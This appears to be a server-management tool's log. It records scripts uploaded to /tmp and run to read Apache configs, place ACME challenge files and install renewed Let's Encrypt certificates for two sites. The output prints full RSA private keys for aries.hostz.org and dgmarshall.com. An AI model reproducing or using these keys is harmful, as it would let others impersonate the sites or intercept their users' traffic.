#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_aries_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-10 06:00:12: 

chmod 755 /tmp/pkp264520; /tmp/pkp264520; rm /tmp/pkp264520

2026-04-10 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_aries_org.conf	1872

<VirtualHost *:80>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/aries_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_aries/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/aries_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2026-04-10 06:00:12: 

PUT: /tmp/pkp957544

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-10 06:00:12: 

chmod 755 /tmp/pkp957544; /tmp/pkp957544; rm /tmp/pkp957544

2026-04-10 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt	5348
b8:90:0d:16:a3:62:b0:4d:d2:92:62:d3:78:87:a6:9a

-----BEGIN CERTIFICATE-----
MIIE+DCCA+CgAwIBAgISBnrakPa6Y0DBeyHl/baBEomXMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDEwMDUwMTQwWhcNMjYwNzA5MDUwMTM5WjAaMRgwFgYDVQQD
Ew9hcmllcy5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDdFYbVaW+6QQ3pr+alMyWVNTLFr2n7uVyJmY5Ar2XGCd4bRBJpAn8bfjcydOwD
GK/sJEJKP/Yzp0ymk0jM6ZQxMJb8+1x3GYG2t+uj3xWFsUlUmlmeygsaIPD0Wtzw
6ebtq08RfnQIlW8iBcEBXyu2crN6OM5y1yd+kzSWqreIhi4izFEvx34/qGP0q5tl
C7pt4rZLDixByJVjZitfLEiwiMXV5rq6ddWJPxZma8NruDv7gBxZQsJkmDgSHCJl
KmRrY/fr05KNT77Csk/A6RB/mbFFxCIV/l2UDS5fiSUjuXN7Wt3Yo8pdPOrlMBc0
CtFIxh3nTuE52A4F55QJkY4PAgMBAAGjggIdMIICGTAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUFJmw
gbz3QDzU7wwjuxHFwi1pZ1EwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvW
kjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVu
Y3Iub3JnLzAaBgNVHREEEzARgg9hcmllcy5ob3N0ei5vcmcwEwYDVR0gBAwwCjAI
BgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9y
Zy8yNC5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdgDIo8R/x7OtuTVrAT9q
ehJt4zpOQ6XGRvmXrTl1mR3PmgAAAZ11+fx8AAAEAwBHMEUCIEcFqjIHJKEFIKb/
/AqX+N+6Vm6QF3Te0lXyY3Je8a0+AiEAjYobam8JzS0d2+kvSfkM8/Fko98viC1r
oLl0NRPqdR8AfgBs/lAZQ6heqRa8UtEz5NzJHvFBHH0lhCDRc4CeGBjrOgAAAZ11
+f6OAAgAAAUABpJUrAQDAEcwRQIgbM2f5vE9AAqB4S3qW/+gSFKSb3lXPtpR8KtA
Kl+UWsoCIQC6oaEudiCO5K2sKU5/nVZ0icwwca3cmPUB/qY1QWkQUTANBgkqhkiG
9w0BAQsFAAOCAQEAJ0wHIlA82fCSbZgK0lcdtLR4hlVFzsPWt2TBqfxU+nsG5p9H
aqvkHZeBiSu8wppxz1NfIwLA60Bnt5io4W5pmjHvfzkFj78P+fe4v7pxjYYimNzq
7VuGgKCe7mukzeG6VDz3kFkXhUP1HT6mmR3JQ9anXQTcE643mTIzdu+gUfDHYmXY
719jSVFCt+ha6qBemboTlQ5b2zUUpdjhuOmzVIKf4JCJHpXv4Lop+cK2MrkFDhXc
GojsIi9/ai+pZgR8DXjDyDHo5w79Z16nX+3LEks4mva5r9dSfYNH1jyltXkSBQa2
fkZMA/AfveTsgrs49FJbY4i+cJYFN0MBfdmtDg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDdFYbVaW+6QQ3p
r+alMyWVNTLFr2n7uVyJmY5Ar2XGCd4bRBJpAn8bfjcydOwDGK/sJEJKP/Yzp0ym
k0jM6ZQxMJb8+1x3GYG2t+uj3xWFsUlUmlmeygsaIPD0Wtzw6ebtq08RfnQIlW8i
BcEBXyu2crN6OM5y1yd+kzSWqreIhi4izFEvx34/qGP0q5tlC7pt4rZLDixByJVj
ZitfLEiwiMXV5rq6ddWJPxZma8NruDv7gBxZQsJkmDgSHCJlKmRrY/fr05KNT77C
sk/A6RB/mbFFxCIV/l2UDS5fiSUjuXN7Wt3Yo8pdPOrlMBc0CtFIxh3nTuE52A4F
55QJkY4PAgMBAAECggEAYJnzXHTBmQSr65wsj6qVlWi1UqOfD5qi0I0EF0eMlMfj
AM7xrGim2YCA5c8pAQFcfTYqsP7ZuSA04eQhP0ggtI2iq8+5S2EdyJT8pZHoeY5J
mGoJFtT5nOUf4+V//NR3Two3dlFmqgmBkcAp4UuQchwUSCdiLdPNMgVoSR03LLOE
tdfaoRuWW2nip4Z1gBwLeYPB6Ih1AZQ7SaQDJqijMObEbObk6Ofql5ekTiU0pjoG
wSRObNyb2hD1e3M24lqe0XGx8n23uRP1E4bZZhja46wQhSREXBY3K+o3Gnab8FKq
S1jopJUT5V7JTyP9AeTeemMBFOgPQfMFiGJlHNJqAQKBgQDufBJUgF4BJWEcN1Wd
vm2q+22d4dS7pGCiwX3aKpYOf77F7h6FZNSvsdmoaYAQvLB7tlZH5HIzqb2YtmTA
9eveBD39DBD8YYUK6tebs15kn+oJ4bZ0nbcoirs6eYUK90ykDyfoC3nL96i1LhxL
+4SpiH5WqNplPEaMYBZIKnMFQQKBgQDtUktFu4zlIpKI6n1jZgXEBFybAEABfi1d
0l4QrAY+ihkWSym1GpVsXOaqDCP+ZBdDA1/5IoFzrArdnIF4fDYccqiBphVilNHD
eXyKhyydrDPIR0vHJErlocjuq+2ER9Q8+IZ1O9vtWoFgZPZvKOqQUU5vK34Q+yby
3dpUfxwvTwKBgB8A8kEaDx6HBYDtkKvZPdikpzOHUGi0jfuavAnIz4lDAkIpGr6s
xRmyPWGvlX6XiToMElt2T4J35rYbwC11yxwp4QUstGibJPiuXylWwEbEo2B1f4rZ
lh4nKwAHHEy4qbYKYl3AYC0sHTqwq+0U3cJMhGAvw3S1yVYmh78KBboBAoGATsK/
BHeH/QuKQjJARtq3EyS3byGYHGa5u6dzXGka8Wp3hPSQ9O/Lo1j5nHnHAEhLiAv4
sAAJok/4ky+7sDbY5nwO/GgYNM1bCFqrQHY4EmPyE4fF2GNtD+SvgLZCb2I/R7Tb
OtEQ3ibpRQp81stnfVneg/qVLiGL/ZIvQVemDPUCgYAIEzppt2pk5qT8qhPg6YQV
fkJRpmLXpfK0EE3dztVpXgVhMAnBw/18D5gPig1qUiw5GSsUGEL6diOBihKcxQit
C/XkI0fbzeBoeOooySkuseezqVuzL2N+ls0PQUUFrWD+GVEH0g7MZjWsqvpsp0c5
YhJCGmhpXSiVcbl+Obpgew==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-10 06:00:15: Establishing a connection
2026-04-10 06:00:15: Establishing a connection
2026-04-10 06:00:15: 

PUT: /tmp/pkp773998

#!/bin/bash
if [ -d "/var/www/dgmarshall_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-10 06:00:16: 

chmod 755 /tmp/pkp773998; /tmp/pkp773998; rm /tmp/pkp773998

2026-04-10 06:00:16: 


1


2026-04-10 06:00:17: Establishing a connection
2026-04-10 06:00:17: 

PUT: /tmp/pkp489855

#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cat > _UWqVfH3twJQYL2oiNl3HTQH0RVVpF9Ue3N-HE-LYsg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
_UWqVfH3twJQYL2oiNl3HTQH0RVVpF9Ue3N-HE-LYsg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 _UWqVfH3twJQYL2oiNl3HTQH0RVVpF9Ue3N-HE-LYsg
cat > laa8WXdlVOu18lhtx6Uw3JkoLtx8dYtOG50KGv_uS5k <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
laa8WXdlVOu18lhtx6Uw3JkoLtx8dYtOG50KGv_uS5k.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 laa8WXdlVOu18lhtx6Uw3JkoLtx8dYtOG50KGv_uS5k


2026-04-10 06:00:17: 

chmod 755 /tmp/pkp489855; /tmp/pkp489855; rm /tmp/pkp489855

2026-04-10 06:00:17: 




2026-04-10 06:00:28: Establishing a connection
2026-04-10 06:00:28: 

PUT: /tmp/pkp289359

#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
rm _UWqVfH3twJQYL2oiNl3HTQH0RVVpF9Ue3N-HE-LYsg
rm laa8WXdlVOu18lhtx6Uw3JkoLtx8dYtOG50KGv_uS5k


2026-04-10 06:00:28: 

chmod 755 /tmp/pkp289359; /tmp/pkp289359; rm /tmp/pkp289359

2026-04-10 06:00:29: 




2026-04-10 06:00:29: Establishing a connection
2026-04-10 06:00:29: 

PUT: /tmp/pkp485841

#!/bin/bash
temp_file=$(mktemp)
TARGET=dd152e01fe9ba41e566c0f966e8e26d3.crt

cat > $temp_file <<'endmsg'
96:c4:a1:c3:a9:c2:9a:2b:d9:34:78:73:ec:14:b4:54

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBufz3v3hGf2xHvYJbtQfVoy6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDEwMDUwMTU3WhcNMjYwNzA5MDUwMTU2WjAZMRcwFQYDVQQD
Ew5kZ21hcnNoYWxsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AN4aEK1gPS1thCUqcWIYOlwv4X32abWVFDE5EaJ2y4LMuXEAAOk1YnzJSYmpJ36i
ZYZcrggY6sWR9bgT3qcdZ+yDmYc0F9cvC8YRZ3gymErS0KIyiuZ8h+3nHTsxAGPT
trV8fN4T33KkiRwvXK3NQEf5xfJd9qT09bRFx8JFdGb9f3THyPwNKQu/RsL9WJCN
CuqotxwkD03XI3A1wqgBkoodbiDHcm86A1i2GoasOhxuv1Ju4zteCxu1YXxaxrUL
waiZCNzVtSFsGCCcDh2Cjfv0DPGnvJuW2nEAEelZiU+xGFGPvoG7zn0KMDK1Sw8n
4ozGlLh8Hq81ZCu3NE547+8CAwEAAaOCAi8wggIrMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBT/SkMm
LCErn2gyGqc3z/6o9AfxQjAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR
0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5j
ci5vcmcvMC0GA1UdEQQmMCSCDmRnbWFyc2hhbGwuY29tghJ3d3cuZGdtYXJzaGFs
bC5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy81OS5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5
APcAdgDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ11+j3tAAAE
AwBHMEUCIF3uR6WyOMeKV1NUD2YgMU3oDCq41JyAix1NsWXkfuIQAiEAqB/IntC6
Ox3hbjUHEgYhlNViL7aAww9qlRIDCtb18TcAfQBs/lAZQ6heqRa8UtEz5NzJHvFB
HH0lhCDRc4CeGBjrOgAAAZ11+kD2AAgAAAUABpJW1AQDAEYwRAIgEh5drzvulyHr
EqsAPurCI9v61f7Nagyiy8OrHBbaJsECIA3xXyUqqcjQCsY5HWavK68vOsG5DElT
0R3nufV0+HDtMA0GCSqGSIb3DQEBCwUAA4IBAQDRDbb2X0exTzG6UtC0omC3Jw1j
3/+QjmaQnPr9olivmT+HUb1nYB7vvUiAEhtj0IzNZf7nGROtxnYwNk8q80jjS3oA
glbGWXDd20jIefjRn/V3hcMeDT7KPY5aDPPt5J/Co4z/2VenHscNIpWSDrARXFMF
vdyhjerFNmqQQtUJ1Rv4MApVoOH0dKh1kGZ42p4jOgR5Nxc51YCJEZYEyTAqCKY2
vtX4GBD5LW9i/5JVtfr/qKzPgw10b5Ik/cXkeQQXLEyw41Tr8WfqthOUW4KowV+6
c+uVcFS9oYkiHccA4ou71nxd9UNzpNfDVTVTAUFYwAxhJMwQKqr5xDGljPYi
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDeGhCtYD0tbYQl
KnFiGDpcL+F99mm1lRQxORGidsuCzLlxAADpNWJ8yUmJqSd+omWGXK4IGOrFkfW4
E96nHWfsg5mHNBfXLwvGEWd4MphK0tCiMormfIft5x07MQBj07a1fHzeE99ypIkc
L1ytzUBH+cXyXfak9PW0RcfCRXRm/X90x8j8DSkLv0bC/ViQjQrqqLccJA9N1yNw
NcKoAZKKHW4gx3JvOgNYthqGrDocbr9SbuM7XgsbtWF8Wsa1C8GomQjc1bUhbBgg
nA4dgo379Azxp7ybltpxABHpWYlPsRhRj76Bu859CjAytUsPJ+KMxpS4fB6vNWQr
tzROeO/vAgMBAAECggEAYQDyWr7nSWGFLzRX3Ben2Z6h9kF6zu+DJ7J8tL/8x66B
qcxuGW0TDFxfrWu/T6w++k2dRvUXCN5kexbWjpelzaN2mRoT9YxbMJFmZxV19WwY
6lZ32w310l64IiOXP4J20NJDuTzlwW0CY1h+OnykQCtjnKUUddx1OdymT//ExLvP
kSbu5P8qi7jOxvvtXQYYFC8p5Siv6600d7Y8RnsUtWwSg4fdfk5X0MsuNqaSamlv
R38VZzdt4U9SZPnozMmsfyGHznGK2xzc4wcRQ4vkp2FHNMPSEctqrZzfp+XCRk3/
KlvTie1YGmtSum27jYTuRuKVEjj3zO1VNtLdHQqaKQKBgQD3hduN2JOHp+WTfAqt
CxDh6vPXMz7ZtRsqkdVNhqE50X84WMBxVMlY1NdRBksf31ufg0RFrL1VZZUpygpq
h5DOEsJ2QGMYKR98CnvHgc6H9KOUXD3wUhdKiZ4hv4FoZf3Qz+5aJT0HP5tsEoyI
pguV4mJIs0x5UDQNB4nhsqbiNwKBgQDltVRvAz3RrZaJn6wNSjhOz3G07YubL1Kc
DmA1DSIx8hsIjVlMr1mF7gAuzcaJcLHRzrBvvGKfLPalOjTMLqyr5PQzAxv8fLxR
CCkwqMuepVmiEZCkV/Ah2xbIJZw0SMz72TLCZuy0fLXDrRp0Qh7hraBOGxtVqnG0
DAz7mu7kCQKBgQCqDlszbxKc5utBkr06+hlVPbjdpyWNKXJKovrrUo2+TYKcUc2V
j2zuDP0Je8ttUGWAiA0F2ZIS88Gxfk/9tLn1+smDuOTcGpS5AfLctQASRC+GpIEh
dSTvXvE3unzMHxZsug7F/EObkUXU0EGhOINJLMndrOHjjwjT0tQWLkmdrQKBgBwQ
jnNNuxTOF5FS78tj4QNH9wV67E6WdopYe0qgAyiFAuaFln53AgIJ9P3C6FnMaf1P
OmE8a/Q0oyHGvcKghTovK+K7o4SynLNtwtKOHOqSGyRg7wIVOGJ6iQsFBVOh/WFb
xQbZWlwmzHJOyOehWHKMKwS/7RQHUgMEYeWvpTY5AoGAUxOdAuuCn9GRYBBaksT4
pD6cDm4noCYTGrJZujTO3QOsPgun2pzzOdVpI1eqNRq2pE3F3J/TZ24kW/R3Zobe
bRyBE0YQ50TtRFh2fZ+uypNv/WQ8NuOU/ScBOo0PEFYE9u16+DR3/jC2KFut0kLC
QPtIBOYa6DWWsnuMSe05n8g=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-10 06:00:29: 

chmod 755 /tmp/pkp485841; /tmp/pkp485841; rm /tmp/pkp485841

2026-04-10 06:00:29: 


dir=/etc/ssl/certs


2026-04-10 06:00:29: 

PUT: /tmp/pkp957875

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/dgmarshall_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-10 06:00:29: 

chmod 755 /tmp/pkp957875; /tmp/pkp957875; rm /tmp/pkp957875

2026-04-10 06:00:29: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_com.conf 42

<VirtualHost *:80>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
